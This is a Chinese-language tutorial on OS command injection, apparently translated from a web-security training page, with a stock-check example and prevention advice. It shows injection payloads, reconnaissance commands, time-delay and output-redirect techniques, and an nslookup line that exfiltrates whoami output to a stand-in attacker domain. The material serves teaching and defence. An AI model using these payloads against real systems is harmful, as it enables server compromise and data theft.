什么是操作系統命令注入?
OS 命令注入(也稱為 shell 注入)是一種 Web 安全漏洞,允許攻擊者在運行應用程序的服務器上執行任意操作系統 (OS) 命令,並且通常會完全破壞應用程序及其所有數據。通常,攻擊者可以利用操作系統命令注入漏洞來破壞托管基礎架構的其他部分,利用信任關系將攻擊轉向組織內的其他系統。
執行任意命令
考慮一個購物應用程序,它允許用戶查看特定商店中某件商品是否有貨。此信息可通過以下 URL 訪問:
https://insecure-website.com/stockStatus?productID=381&storeID=29
為了提供股票信息,應用程序必須查詢各種遺留系統。由於歷史原因,該功能是通過調用帶有產品和存儲 ID 作為參數的 shell 命令來實現的:
stockreport.pl 381 29
此命令輸出指定項目的庫存狀態,並返回給用戶。
由於應用程序沒有針對操作系統命令注入實施防御,攻擊者可以提交以下輸入來執行任意命令:
& echo aiwefwlguh &
如果在productID參數中提交了這個輸入,那么應用程序執行的命令是:
stockreport.pl & echo aiwefwlguh & 29
該echo命令只是使提供的字符串在輸出中回顯,並且是測試某些類型的操作系統命令注入的有用方法。該&字符是一個 shell 命令分隔符,因此執行的實際上是三個單獨的命令一個接一個。結果,返回給用戶的輸出是:
Error - productID was not provided
aiwefwlguh
29: command not found
三行輸出表明:
- 原始stockreport.pl命令在沒有預期參數的情況下執行,因此返回了一條錯誤消息。
- echo執行 注入的命令,並在輸出中回顯提供的字符串。
- 原始參數29作為命令執行,導致錯誤。
&在注入的命令之后 放置額外的命令分隔符通常很有用,因為它將注入的命令與注入點之后的任何內容分開。這降低了以下內容阻止執行注入的命令的可能性。
command1 & command2 :兩個命令都執行
command1 && command2 :與執行,第一個成功執行第二個才會執行
command1 | command2 :或執行,只執行第二個 command1 ||
command2:第一個執行成功,第二個不執行。第一個執行失敗,第二個執行
有用的命令
當您發現操作系統命令注入漏洞時,執行一些初始命令以獲取有關您已入侵的系統的信息通常很有用。下面總結了一些在 Linux 和 Windows 平台上有用的命令:
| 命令的目的 | Linux | Windows |
|---|---|---|
| 當前用戶名 | whoami | whoami |
| 操作系統 | uname -a | ver |
| 網絡配置 | ifconfig | ipconfig /all |
| 網絡連接 | netstat -an | netstat -an |
| 運行進程 | ps -ef | tasklist |
盲操作系統命令注入漏洞
操作系統命令注入的許多實例都是盲漏洞。這意味着應用程序不會在其 HTTP 響應中返回命令的輸出。仍然可以利用盲點漏洞,但需要不同的技術。
考慮一個允許用戶提交有關該站點的反饋的網站。用戶輸入他們的電子郵件地址和反饋消息。然后,服務器端應用程序生成一封包含反饋的電子郵件給站點管理員。為此,它mail使用提交的詳細信息調用程序。例如:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
mail命令 的輸出(如果有)不會在應用程序的響應中返回,因此使用echo有效負載將無效。在這種情況下,您可以使用各種其他技術來檢測和利用漏洞。
使用時間延遲檢測盲操作系統命令注入
您可以使用將觸發時間延遲的注入命令,允許您根據應用程序響應所需的時間來確認命令已執行。該ping命令是執行此操作的有效方法,因為它允許您指定要發送的 ICMP 數據包的數量,以及運行該命令所需的時間:
& ping -c 10 127.0.0.1 &
此命令將導致應用程序 ping 10秒
通過重定向輸出來利用盲操作系統命令注入
您可以將注入命令的輸出重定向到 Web 根目錄中的文件中,然后您可以使用瀏覽器檢索該文件。例如,如果應用程序從文件系統位置提供靜態資源/var/www/static,那么您可以提交以下輸入:
& whoami > /var/www/static/whoami.txt &
該>字符將whoami命令的輸出發送到指定的文件。然后,您可以使用瀏覽器獲取https://vulnerable-website.com/whoami.txt文件以檢索文件,並查看注入命令的輸出。
使用帶外 ( OAST ) 技術利用 OS 命令盲注入
您可以使用注入的命令,使用 OAST 技術觸發與您控制的系統的帶外網絡交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
此有效負載使用該nslookup命令對指定域進行 DNS 查找。攻擊者可以監視指定的查找發生,從而檢測到命令已成功注入。
帶外通道還提供了一種從注入的命令中提取輸出的簡單方法:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
這將導致對包含whoami命令結果的攻擊者域進行 DNS 查找:
wwwuser.kgji2ohoyw.web-attacker.com
注入操作系統命令的方式
多種 shell 元字符可用於執行操作系統命令注入攻擊。
許多字符用作命令分隔符,允許將命令鏈接在一起。以下命令分隔符適用於基於 Windows 和 Unix 的系統:
- &
- &&
- |
- ||
以下命令分隔符僅適用於基於 Unix 的系統:
- ;
換行符(0x0a或\n)
在基於 Unix 的系統上,您還可以使用反引號或美元字符在原始命令中執行注入命令的內聯執行:
` 注入命令 `
$( 注入命令 )
請注意,不同的 shell 元字符具有細微的不同行為,這些行為可能會影響它們是否在某些情況下工作,以及它們是否允許帶內檢索命令輸出或僅對盲目利用有用。
有時,您控制的輸入會出現在原始命令的引號內。在這種情況下,您需要在使用合適的 shell 元字符注入新命令之前終止引用的上下文(使用"或')。
如何防止操作系統命令注入攻擊
迄今為止,以防止操作系統命令注入漏洞的最有效的方法是從未調出從應用層代碼OS命令。在幾乎所有情況下,存在使用安全平台API實現所需功能的替代方式。
如果認為使用用戶提供的輸入調用操作系統命令不可避免,則必須執行強輸入驗證。有效驗證的一些例子包括:
- 驗證針對允許值的白名單。
- 驗證輸入是否為數字。
- 驗證輸入僅包含字母數字字符,沒有其他語法或空格。
永遠不要試圖通過轉義 shell 元字符來清理輸入。實際上,這太容易出錯並且容易被熟練的攻擊者繞過。
